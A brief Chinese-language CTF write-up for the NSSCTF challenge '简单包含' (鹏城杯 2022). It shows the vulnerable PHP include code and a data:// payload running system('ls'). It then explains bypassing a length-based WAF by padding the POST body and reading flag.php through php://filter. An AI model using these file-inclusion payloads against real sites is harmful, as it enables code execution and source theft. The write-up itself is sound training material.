NSS [鹏城杯 2022]简单包含
看代码觉得不就直接post flag=data://text/plain,<?php system('ls');?>行了。
但是事实上没有什么软用。
用了php://伪协议之后发现有WAF。
可以读源码
解码得到
<?php
$path = $_POST["flag"];
if (strlen(file_get_contents('php://input')) < 800 && preg_match('/flag/', $path)) {
echo 'nssctf waf!';
} else {
@include($path);
}
?>
<code><span style="color: #000000">
<span style="color: #0000BB"><?php <br />highlight_file</span><span style="color: #007700">(</span><span style="color: #0000BB">__FILE__</span><span style="color: #007700">);<br />include(</span><span style="color: #0000BB">$_POST</span><span style="color: #007700">[</span><span style="color: #DD0000">"flag"</span><span style="color: #007700">]);<br /></span><span style="color: #FF8000">//flag in /var/www/html/flag.php;</span>
</span>
</code><br />
绕过方法1:
多加脏数据
绕过方法2:
换个方法加脏数据
这里好奇怪,我postman不行,火狐hackbar可以。是因为火狐hackerbar会自动url编码一次!!!
绕过方法3:
还是脏数据
a=好多个a
&flag=php://filter/read=convert.base64-encode/resource=/var/www/html/flag.php
绕过方法4:
日志包含
测不出东西。但是可以看报文,是阿帕奇服务器。
这里应该是NSS靶场的原因,没开相关权限,不能日志包含。